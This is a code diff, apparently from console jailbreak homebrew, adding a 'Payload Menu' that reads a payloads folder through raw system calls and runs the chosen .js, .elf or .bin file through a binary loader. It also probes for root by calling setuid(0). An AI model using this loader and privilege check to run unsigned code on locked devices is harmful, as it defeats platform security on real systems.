if (typeof fn !== 'undefined' && fn.getdents) {
|
|
||||||
var path_addr = mem.malloc(256)
|
|
||||||
for (var i = 0; i < '/download0/payloads'.length; i++) {
|
|
||||||
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
|
|
||||||
}
|
|
||||||
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
|
|
||||||
|
|
||||||
var fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
|
|
||||||
log('open_sys returned: ' + fd.toString())
|
|
||||||
|
|
||||||
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
|
||||||
var buf = mem.malloc(4096)
|
|
||||||
var count = fn.getdents(fd, buf, new BigInt(0, 4096))
|
|
||||||
log('getdents returned: ' + count.toString() + ' bytes')
|
|
||||||
|
|
||||||
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
|
|
||||||
var offset = 0
|
|
||||||
while (offset < count.lo) {
|
|
||||||
var d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
|
|
||||||
var d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
|
|
||||||
var d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
|
|
||||||
|
|
||||||
var name = ''
|
|
||||||
for (var i = 0; i < d_namlen; i++) {
|
|
||||||
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
|
|
||||||
|
|
||||||
if (d_type === 8 && name !== '.' && name !== '..') {
|
|
||||||
var lowerName = name.toLowerCase()
|
|
||||||
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
|
|
||||||
fileList.push(name)
|
|
||||||
log('Added file: ' + name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
offset += d_reclen
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fn.close_sys(fd)
|
|
||||||
} else {
|
|
||||||
log('Failed to open /download0/payloads')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Total files found: ' + fileList.length)
|
|
||||||
|
|
||||||
var startY = 200
|
|
||||||
var buttonSpacing = 90
|
|
||||||
var buttonsPerRow = 5
|
|
||||||
var buttonWidth = 300
|
|
||||||
var buttonHeight = 80
|
|
||||||
var startX = 130
|
|
||||||
var xSpacing = 340
|
|
||||||
|
|
||||||
for (var i = 0; i < fileList.length; i++) {
|
|
||||||
var row = Math.floor(i / buttonsPerRow)
|
|
||||||
var col = i % buttonsPerRow
|
|
||||||
|
|
||||||
var btnX = startX + col * xSpacing
|
|
||||||
var btnY = startY + row * buttonSpacing
|
|
||||||
|
|
||||||
var button = new Image({
|
|
||||||
url: normalButtonImg,
|
|
||||||
x: btnX,
|
|
||||||
y: btnY,
|
|
||||||
width: buttonWidth,
|
|
||||||
height: buttonHeight
|
|
||||||
})
|
|
||||||
buttons.push(button)
|
|
||||||
jsmaf.root.children.push(button)
|
|
||||||
|
|
||||||
var marker = new Image({
|
|
||||||
url: 'file:///assets/img/ad_pod_marker.png',
|
|
||||||
x: btnX + buttonWidth - 50,
|
|
||||||
y: btnY + 35,
|
|
||||||
width: 12,
|
|
||||||
height: 12,
|
|
||||||
visible: false
|
|
||||||
})
|
|
||||||
buttonMarkers.push(marker)
|
|
||||||
jsmaf.root.children.push(marker)
|
|
||||||
|
|
||||||
var displayName = fileList[i]
|
|
||||||
if (displayName.length > 20) {
|
|
||||||
displayName = displayName.substring(0, 17) + '...'
|
|
||||||
}
|
|
||||||
|
|
||||||
var text = new jsmaf.Text()
|
|
||||||
text.text = displayName
|
|
||||||
text.x = btnX + 20
|
|
||||||
text.y = btnY + 30
|
|
||||||
text.style = 'white'
|
|
||||||
buttonTexts.push(text)
|
|
||||||
jsmaf.root.children.push(text)
|
|
||||||
|
|
||||||
buttonOrigPos.push({x: btnX, y: btnY})
|
|
||||||
textOrigPos.push({x: text.x, y: text.y})
|
|
||||||
}
|
|
||||||
|
|
||||||
var exitX = 810
|
|
||||||
var exitY = 980
|
|
||||||
|
|
||||||
var exitButton = new Image({
|
|
||||||
url: normalButtonImg,
|
|
||||||
x: exitX,
|
|
||||||
y: exitY,
|
|
||||||
width: buttonWidth,
|
|
||||||
height: buttonHeight
|
|
||||||
})
|
|
||||||
buttons.push(exitButton)
|
|
||||||
jsmaf.root.children.push(exitButton)
|
|
||||||
|
|
||||||
var exitMarker = new Image({
|
|
||||||
url: 'file:///assets/img/ad_pod_marker.png',
|
|
||||||
x: exitX + buttonWidth - 50,
|
|
||||||
y: exitY + 35,
|
|
||||||
width: 12,
|
|
||||||
height: 12,
|
|
||||||
visible: false
|
|
||||||
})
|
|
||||||
buttonMarkers.push(exitMarker)
|
|
||||||
jsmaf.root.children.push(exitMarker)
|
|
||||||
|
|
||||||
var exitText = new jsmaf.Text()
|
|
||||||
exitText.text = 'Back'
|
|
||||||
exitText.x = exitX + buttonWidth / 2 - 20
|
|
||||||
exitText.y = exitY + buttonHeight / 2 - 12
|
|
||||||
exitText.style = 'white'
|
|
||||||
buttonTexts.push(exitText)
|
|
||||||
jsmaf.root.children.push(exitText)
|
|
||||||
|
|
||||||
buttonOrigPos.push({x: exitX, y: exitY})
|
|
||||||
textOrigPos.push({x: exitText.x, y: exitText.y})
|
|
||||||
|
|
||||||
var zoomInInterval = null
|
|
||||||
var zoomOutInterval = null
|
|
||||||
var prevButton = -1
|
|
||||||
|
|
||||||
function easeInOut (t) {
|
|
||||||
return (1 - Math.cos(t * Math.PI)) / 2
|
|
||||||
}
|
|
||||||
|
|
||||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
|
||||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
|
||||||
var btnW = buttonWidth
|
|
||||||
var btnH = buttonHeight
|
|
||||||
var startScale = btn.scaleX || 1.0
|
|
||||||
var endScale = 1.1
|
|
||||||
var duration = 175
|
|
||||||
var elapsed = 0
|
|
||||||
var step = 16
|
|
||||||
|
|
||||||
zoomInInterval = jsmaf.setInterval(function () {
|
|
||||||
elapsed += step
|
|
||||||
var t = Math.min(elapsed / duration, 1)
|
|
||||||
var eased = easeInOut(t)
|
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
|
||||||
|
|
||||||
btn.scaleX = scale
|
|
||||||
btn.scaleY = scale
|
|
||||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
text.scaleX = scale
|
|
||||||
text.scaleY = scale
|
|
||||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
|
|
||||||
if (t >= 1) {
|
|
||||||
jsmaf.clearInterval(zoomInInterval)
|
|
||||||
zoomInInterval = null
|
|
||||||
}
|
|
||||||
}, step)
|
|
||||||
}
|
|
||||||
|
|
||||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
|
||||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
|
||||||
var btnW = buttonWidth
|
|
||||||
var btnH = buttonHeight
|
|
||||||
var startScale = btn.scaleX || 1.1
|
|
||||||
var endScale = 1.0
|
|
||||||
var duration = 175
|
|
||||||
var elapsed = 0
|
|
||||||
var step = 16
|
|
||||||
|
|
||||||
zoomOutInterval = jsmaf.setInterval(function () {
|
|
||||||
elapsed += step
|
|
||||||
var t = Math.min(elapsed / duration, 1)
|
|
||||||
var eased = easeInOut(t)
|
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
|
||||||
|
|
||||||
btn.scaleX = scale
|
|
||||||
btn.scaleY = scale
|
|
||||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
text.scaleX = scale
|
|
||||||
text.scaleY = scale
|
|
||||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
|
||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
|
||||||
|
|
||||||
if (t >= 1) {
|
|
||||||
jsmaf.clearInterval(zoomOutInterval)
|
|
||||||
zoomOutInterval = null
|
|
||||||
}
|
|
||||||
}, step)
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateHighlight () {
|
|
||||||
// Animate out the previous button
|
|
||||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
|
||||||
buttons[prevButton].url = normalButtonImg
|
|
||||||
buttons[prevButton].alpha = 0.7
|
|
||||||
buttons[prevButton].borderWidth = 0
|
|
||||||
buttonTexts[prevButton].alpha = 0.8
|
|
||||||
buttonMarkers[prevButton].visible = false
|
|
||||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Set styles for all buttons
|
|
||||||
for (var i = 0; i < buttons.length; i++) {
|
|
||||||
if (i === currentButton) {
|
|
||||||
buttons[i].url = selectedButtonImg
|
|
||||||
buttons[i].alpha = 1.0
|
|
||||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
|
||||||
buttons[i].borderWidth = 3
|
|
||||||
buttonTexts[i].alpha = 1.0
|
|
||||||
buttonMarkers[i].visible = true
|
|
||||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
|
||||||
} else if (i !== prevButton) {
|
|
||||||
buttons[i].url = normalButtonImg
|
|
||||||
buttons[i].alpha = 0.7
|
|
||||||
buttons[i].borderWidth = 0
|
|
||||||
buttons[i].scaleX = 1.0
|
|
||||||
buttons[i].scaleY = 1.0
|
|
||||||
buttons[i].x = buttonOrigPos[i].x
|
|
||||||
buttons[i].y = buttonOrigPos[i].y
|
|
||||||
buttonTexts[i].scaleX = 1.0
|
|
||||||
buttonTexts[i].scaleY = 1.0
|
|
||||||
buttonTexts[i].x = textOrigPos[i].x
|
|
||||||
buttonTexts[i].y = textOrigPos[i].y
|
|
||||||
buttonTexts[i].alpha = 0.8
|
|
||||||
buttonMarkers[i].visible = false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
prevButton = currentButton
|
|
||||||
log('Selected button: ' + currentButton)
|
|
||||||
}
|
|
||||||
|
|
||||||
jsmaf.onKeyDown = function (keyCode) {
|
|
||||||
log('Key pressed: ' + keyCode)
|
|
||||||
|
|
||||||
var fileButtonCount = fileList.length
|
|
||||||
var exitButtonIndex = buttons.length - 1
|
|
||||||
|
|
||||||
if (keyCode === 6) {
|
|
||||||
if (currentButton === exitButtonIndex) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var nextButton = currentButton + buttonsPerRow
|
|
||||||
if (nextButton >= fileButtonCount) {
|
|
||||||
currentButton = exitButtonIndex
|
|
||||||
} else {
|
|
||||||
currentButton = nextButton
|
|
||||||
}
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 4) {
|
|
||||||
if (currentButton === exitButtonIndex) {
|
|
||||||
var lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
|
|
||||||
var firstInLastRow = lastRow * buttonsPerRow
|
|
||||||
var col = 0
|
|
||||||
if (fileButtonCount > 0) {
|
|
||||||
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
|
|
||||||
}
|
|
||||||
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
|
|
||||||
} else {
|
|
||||||
var nextButton = currentButton - buttonsPerRow
|
|
||||||
if (nextButton >= 0) {
|
|
||||||
currentButton = nextButton
|
|
||||||
}
|
|
||||||
}
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 5) {
|
|
||||||
if (currentButton === exitButtonIndex) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var row = Math.floor(currentButton / buttonsPerRow)
|
|
||||||
var col = currentButton % buttonsPerRow
|
|
||||||
if (col < buttonsPerRow - 1) {
|
|
||||||
var nextButton = currentButton + 1
|
|
||||||
if (nextButton < fileButtonCount) {
|
|
||||||
currentButton = nextButton
|
|
||||||
}
|
|
||||||
}
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 7) {
|
|
||||||
if (currentButton === exitButtonIndex) {
|
|
||||||
currentButton = fileButtonCount - 1
|
|
||||||
} else {
|
|
||||||
var col = currentButton % buttonsPerRow
|
|
||||||
if (col > 0) {
|
|
||||||
currentButton = currentButton - 1
|
|
||||||
}
|
|
||||||
}
|
|
||||||
updateHighlight()
|
|
||||||
} else if (keyCode === 14) {
|
|
||||||
handleButtonPress()
|
|
||||||
} else if (keyCode === 13) {
|
|
||||||
log('Going back to main menu...')
|
|
||||||
try {
|
|
||||||
include('main-menu.js')
|
|
||||||
} catch (e) {
|
|
||||||
log('ERROR loading main-menu.js: ' + e.message)
|
|
||||||
if (e.stack) log(e.stack)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function handleButtonPress () {
|
|
||||||
if (currentButton === buttons.length - 1) {
|
|
||||||
log('Going back to main menu...')
|
|
||||||
try {
|
|
||||||
include('main-menu.js')
|
|
||||||
} catch (e) {
|
|
||||||
log('ERROR loading main-menu.js: ' + e.message)
|
|
||||||
if (e.stack) log(e.stack)
|
|
||||||
}
|
|
||||||
} else if (currentButton < fileList.length) {
|
|
||||||
var selectedFile = fileList[currentButton]
|
|
||||||
var filePath = '/download0/payloads/' + selectedFile
|
|
||||||
|
|
||||||
log('Selected: ' + selectedFile)
|
|
||||||
|
|
||||||
try {
|
|
||||||
if (selectedFile.toLowerCase().endsWith('.js')) {
|
|
||||||
log('Including JavaScript file: ' + selectedFile)
|
|
||||||
include('payloads/' + selectedFile)
|
|
||||||
} else {
|
|
||||||
log('Loading binloader.js...')
|
|
||||||
include('binloader.js')
|
|
||||||
log('binloader.js loaded successfully')
|
|
||||||
|
|
||||||
log('Initializing binloader...')
|
|
||||||
if (typeof binloader_init === 'function') {
|
|
||||||
binloader_init()
|
|
||||||
} else {
|
|
||||||
log('ERROR: binloader_init not defined')
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Loading payload from: ' + filePath)
|
|
||||||
|
|
||||||
if (typeof bl_load_from_file === 'function') {
|
|
||||||
bl_load_from_file(filePath)
|
|
||||||
} else {
|
|
||||||
log('ERROR: bl_load_from_file not defined')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
log('ERROR: ' + e.message)
|
|
||||||
if (e.stack) log(e.stack)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
updateHighlight()
|
|
||||||
|
|
||||||
log('Interactive UI loaded!')
|
|
||||||
log('Total elements: ' + jsmaf.root.children.length)
|
|
||||||
log('Buttons: ' + buttons.length)
|
|
||||||
log('Use arrow keys to navigate, Enter/X to select')
|
|
||||||
})()
|
|
||||||
@@ -0,0 +1,471 @@
|
|||||||
|
import { fn, mem, BigInt } from 'download0/types'
|
||||||
|
import { binloader_init } from 'download0/binloader'
|
||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
if (typeof libc_addr === 'undefined') {
|
||||||
|
log('Loading userland.js...')
|
||||||
|
include('userland.js')
|
||||||
|
log('userland.js loaded')
|
||||||
|
} else {
|
||||||
|
log('userland.js already loaded (libc_addr defined)')
|
||||||
|
}
|
||||||
|
|
||||||
|
const audio = new jsmaf.AudioClip()
|
||||||
|
audio.volume = 0.5 // 50% volume
|
||||||
|
audio.open('file://../download0/sfx/bgm.wav')
|
||||||
|
|
||||||
|
function isJailbroken () {
|
||||||
|
fn.register(24, 'getuid', [], 'bigint')
|
||||||
|
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||||
|
|
||||||
|
const uid_before = fn.getuid()
|
||||||
|
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||||
|
log('UID before setuid: ' + uid_before_val)
|
||||||
|
|
||||||
|
log('Attempting setuid(0)...')
|
||||||
|
|
||||||
|
try {
|
||||||
|
const setuid_result = fn.setuid(0)
|
||||||
|
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||||
|
log('setuid returned: ' + setuid_ret)
|
||||||
|
} catch (e) {
|
||||||
|
const error_msg = (e as Error).toString()
|
||||||
|
log('setuid threw exception: ' + error_msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
const uid_after = fn.getuid()
|
||||||
|
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||||
|
log('UID after setuid: ' + uid_after_val)
|
||||||
|
|
||||||
|
if (uid_after_val === 0) {
|
||||||
|
log('Already jailbroken')
|
||||||
|
return true
|
||||||
|
} else {
|
||||||
|
log('Not jailbroken')
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
is_jailbroken = isJailbroken()
|
||||||
|
|
||||||
|
jsmaf.root.children.length = 0
|
||||||
|
|
||||||
|
new Style({ name: 'white', color: 'white', size: 24 })
|
||||||
|
new Style({ name: 'title', color: 'white', size: 32 })
|
||||||
|
|
||||||
|
let currentButton = 0
|
||||||
|
const buttons: Image[] = []
|
||||||
|
const buttonTexts: jsmaf.Text[] = []
|
||||||
|
const buttonMarkers: Image[] = []
|
||||||
|
const buttonOrigPos: { x: number, y: number }[] = []
|
||||||
|
const textOrigPos: { x: number, y: number }[] = []
|
||||||
|
const fileList: string[] = []
|
||||||
|
|
||||||
|
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
|
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||||
|
|
||||||
|
const background = new Image({
|
||||||
|
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||||
|
x: 0,
|
||||||
|
y: 0,
|
||||||
|
width: 1920,
|
||||||
|
height: 1080
|
||||||
|
})
|
||||||
|
jsmaf.root.children.push(background)
|
||||||
|
|
||||||
|
const logo = new Image({
|
||||||
|
url: 'file:///../download0/img/logo.png',
|
||||||
|
x: 1620,
|
||||||
|
y: 0,
|
||||||
|
width: 300,
|
||||||
|
height: 169
|
||||||
|
})
|
||||||
|
jsmaf.root.children.push(logo)
|
||||||
|
|
||||||
|
const title = new jsmaf.Text()
|
||||||
|
title.text = 'Payload Menu'
|
||||||
|
title.x = 860
|
||||||
|
title.y = 120
|
||||||
|
jsmaf.root.children.push(title)
|
||||||
|
|
||||||
|
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
|
fn.register(0x06, 'close_sys', ['bigint'], 'bigint')
|
||||||
|
fn.register(0x110, 'getdents', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
|
log('Scanning /download0/payloads for files...')
|
||||||
|
const path_addr = mem.malloc(256)
|
||||||
|
for (let i = 0; i < '/download0/payloads'.length; i++) {
|
||||||
|
mem.view(path_addr).setUint8(i, '/download0/payloads'.charCodeAt(i))
|
||||||
|
}
|
||||||
|
mem.view(path_addr).setUint8('/download0/payloads'.length, 0)
|
||||||
|
|
||||||
|
const fd = fn.open_sys(path_addr, new BigInt(0, 0), new BigInt(0, 0))
|
||||||
|
log('open_sys returned: ' + fd.toString())
|
||||||
|
|
||||||
|
if (!fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||||
|
const buf = mem.malloc(4096)
|
||||||
|
const count = fn.getdents(fd, buf, new BigInt(0, 4096))
|
||||||
|
log('getdents returned: ' + count.toString() + ' bytes')
|
||||||
|
|
||||||
|
if (!count.eq(new BigInt(0xffffffff, 0xffffffff)) && count.lo > 0) {
|
||||||
|
let offset = 0
|
||||||
|
while (offset < count.lo) {
|
||||||
|
const d_reclen = mem.view(buf.add(new BigInt(0, offset + 4))).getUint16(0, true)
|
||||||
|
const d_type = mem.view(buf.add(new BigInt(0, offset + 6))).getUint8(0)
|
||||||
|
const d_namlen = mem.view(buf.add(new BigInt(0, offset + 7))).getUint8(0)
|
||||||
|
|
||||||
|
let name = ''
|
||||||
|
for (let i = 0; i < d_namlen; i++) {
|
||||||
|
name += String.fromCharCode(mem.view(buf.add(new BigInt(0, offset + 8 + i))).getUint8(0))
|
||||||
|
}
|
||||||
|
|
||||||
|
log('Entry: ' + name + ' type=' + d_type + ' namlen=' + d_namlen)
|
||||||
|
|
||||||
|
if (d_type === 8 && name !== '.' && name !== '..') {
|
||||||
|
const lowerName = name.toLowerCase()
|
||||||
|
if (lowerName.endsWith('.elf') || lowerName.endsWith('.bin') || lowerName.endsWith('.js')) {
|
||||||
|
fileList.push(name)
|
||||||
|
log('Added file: ' + name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
offset += d_reclen
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fn.close_sys(fd)
|
||||||
|
} else {
|
||||||
|
log('Failed to open /download0/payloads')
|
||||||
|
}
|
||||||
|
|
||||||
|
log('Total files found: ' + fileList.length)
|
||||||
|
|
||||||
|
const startY = 200
|
||||||
|
const buttonSpacing = 90
|
||||||
|
const buttonsPerRow = 5
|
||||||
|
const buttonWidth = 300
|
||||||
|
const buttonHeight = 80
|
||||||
|
const startX = 130
|
||||||
|
const xSpacing = 340
|
||||||
|
|
||||||
|
for (let i = 0; i < fileList.length; i++) {
|
||||||
|
const row = Math.floor(i / buttonsPerRow)
|
||||||
|
const col = i % buttonsPerRow
|
||||||
|
let displayName = fileList[i]!
|
||||||
|
|
||||||
|
const btnX = startX + col * xSpacing
|
||||||
|
const btnY = startY + row * buttonSpacing
|
||||||
|
|
||||||
|
const button = new Image({
|
||||||
|
url: normalButtonImg,
|
||||||
|
x: btnX,
|
||||||
|
y: btnY,
|
||||||
|
width: buttonWidth,
|
||||||
|
height: buttonHeight
|
||||||
|
})
|
||||||
|
buttons.push(button)
|
||||||
|
jsmaf.root.children.push(button)
|
||||||
|
|
||||||
|
const marker = new Image({
|
||||||
|
url: 'file:///assets/img/ad_pod_marker.png',
|
||||||
|
x: btnX + buttonWidth - 50,
|
||||||
|
y: btnY + 35,
|
||||||
|
width: 12,
|
||||||
|
height: 12,
|
||||||
|
visible: false
|
||||||
|
})
|
||||||
|
buttonMarkers.push(marker)
|
||||||
|
jsmaf.root.children.push(marker)
|
||||||
|
|
||||||
|
if (displayName.length > 20) {
|
||||||
|
displayName = displayName.substring(0, 17) + '...'
|
||||||
|
}
|
||||||
|
|
||||||
|
const text = new jsmaf.Text()
|
||||||
|
text.text = displayName
|
||||||
|
text.x = btnX + 20
|
||||||
|
text.y = btnY + 30
|
||||||
|
text.style = 'white'
|
||||||
|
buttonTexts.push(text)
|
||||||
|
jsmaf.root.children.push(text)
|
||||||
|
|
||||||
|
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||||
|
textOrigPos.push({ x: text.x, y: text.y })
|
||||||
|
}
|
||||||
|
|
||||||
|
const exitX = 810
|
||||||
|
const exitY = 980
|
||||||
|
|
||||||
|
const exitButton = new Image({
|
||||||
|
url: normalButtonImg,
|
||||||
|
x: exitX,
|
||||||
|
y: exitY,
|
||||||
|
width: buttonWidth,
|
||||||
|
height: buttonHeight
|
||||||
|
})
|
||||||
|
buttons.push(exitButton)
|
||||||
|
jsmaf.root.children.push(exitButton)
|
||||||
|
|
||||||
|
const exitMarker = new Image({
|
||||||
|
url: 'file:///assets/img/ad_pod_marker.png',
|
||||||
|
x: exitX + buttonWidth - 50,
|
||||||
|
y: exitY + 35,
|
||||||
|
width: 12,
|
||||||
|
height: 12,
|
||||||
|
visible: false
|
||||||
|
})
|
||||||
|
buttonMarkers.push(exitMarker)
|
||||||
|
jsmaf.root.children.push(exitMarker)
|
||||||
|
|
||||||
|
const exitText = new jsmaf.Text()
|
||||||
|
exitText.text = 'Back'
|
||||||
|
exitText.x = exitX + buttonWidth / 2 - 20
|
||||||
|
exitText.y = exitY + buttonHeight / 2 - 12
|
||||||
|
exitText.style = 'white'
|
||||||
|
buttonTexts.push(exitText)
|
||||||
|
jsmaf.root.children.push(exitText)
|
||||||
|
|
||||||
|
buttonOrigPos.push({ x: exitX, y: exitY })
|
||||||
|
textOrigPos.push({ x: exitText.x, y: exitText.y })
|
||||||
|
|
||||||
|
let zoomInInterval: number | null = null
|
||||||
|
let zoomOutInterval: number | null = null
|
||||||
|
let prevButton = -1
|
||||||
|
|
||||||
|
function easeInOut (t: number) {
|
||||||
|
return (1 - Math.cos(t * Math.PI)) / 2
|
||||||
|
}
|
||||||
|
|
||||||
|
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
|
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||||
|
const btnW = buttonWidth
|
||||||
|
const btnH = buttonHeight
|
||||||
|
const startScale = btn.scaleX || 1.0
|
||||||
|
const endScale = 1.1
|
||||||
|
const duration = 175
|
||||||
|
let elapsed = 0
|
||||||
|
const step = 16
|
||||||
|
|
||||||
|
zoomInInterval = jsmaf.setInterval(function () {
|
||||||
|
elapsed += step
|
||||||
|
const t = Math.min(elapsed / duration, 1)
|
||||||
|
const eased = easeInOut(t)
|
||||||
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
|
btn.scaleX = scale
|
||||||
|
btn.scaleY = scale
|
||||||
|
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
text.scaleX = scale
|
||||||
|
text.scaleY = scale
|
||||||
|
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
|
if (t >= 1) {
|
||||||
|
jsmaf.clearInterval(zoomInInterval ?? -1)
|
||||||
|
zoomInInterval = null
|
||||||
|
}
|
||||||
|
}, step)
|
||||||
|
}
|
||||||
|
|
||||||
|
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||||
|
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||||
|
const btnW = buttonWidth
|
||||||
|
const btnH = buttonHeight
|
||||||
|
const startScale = btn.scaleX || 1.1
|
||||||
|
const endScale = 1.0
|
||||||
|
const duration = 175
|
||||||
|
let elapsed = 0
|
||||||
|
const step = 16
|
||||||
|
|
||||||
|
zoomOutInterval = jsmaf.setInterval(function () {
|
||||||
|
elapsed += step
|
||||||
|
const t = Math.min(elapsed / duration, 1)
|
||||||
|
const eased = easeInOut(t)
|
||||||
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
|
btn.scaleX = scale
|
||||||
|
btn.scaleY = scale
|
||||||
|
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
text.scaleX = scale
|
||||||
|
text.scaleY = scale
|
||||||
|
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||||
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
|
if (t >= 1) {
|
||||||
|
jsmaf.clearInterval(zoomOutInterval ?? -1)
|
||||||
|
zoomOutInterval = null
|
||||||
|
}
|
||||||
|
}, step)
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateHighlight () {
|
||||||
|
// Animate out the previous button
|
||||||
|
const prevButtonObj = buttons[prevButton]
|
||||||
|
const buttonMarker = buttonMarkers[prevButton]
|
||||||
|
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
|
||||||
|
prevButtonObj.url = normalButtonImg
|
||||||
|
prevButtonObj.alpha = 0.7
|
||||||
|
prevButtonObj.borderColor = 'transparent'
|
||||||
|
prevButtonObj.borderWidth = 0
|
||||||
|
if (buttonMarker) buttonMarker.visible = false
|
||||||
|
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set styles for all buttons
|
||||||
|
for (let i = 0; i < buttons.length; i++) {
|
||||||
|
const button = buttons[i]
|
||||||
|
const buttonMarker = buttonMarkers[i]
|
||||||
|
const buttonText = buttonTexts[i]
|
||||||
|
const buttonOrigPos_ = buttonOrigPos[i]
|
||||||
|
const textOrigPos_ = textOrigPos[i]
|
||||||
|
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
|
||||||
|
if (i === currentButton) {
|
||||||
|
button.url = selectedButtonImg
|
||||||
|
button.alpha = 1.0
|
||||||
|
button.borderColor = 'rgb(100,180,255)'
|
||||||
|
button.borderWidth = 3
|
||||||
|
if (buttonMarker) buttonMarker.visible = true
|
||||||
|
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||||
|
} else if (i !== prevButton) {
|
||||||
|
button.url = normalButtonImg
|
||||||
|
button.alpha = 0.7
|
||||||
|
button.borderColor = 'transparent'
|
||||||
|
button.borderWidth = 0
|
||||||
|
button.scaleX = 1.0
|
||||||
|
button.scaleY = 1.0
|
||||||
|
button.x = buttonOrigPos_.x
|
||||||
|
button.y = buttonOrigPos_.y
|
||||||
|
buttonText.scaleX = 1.0
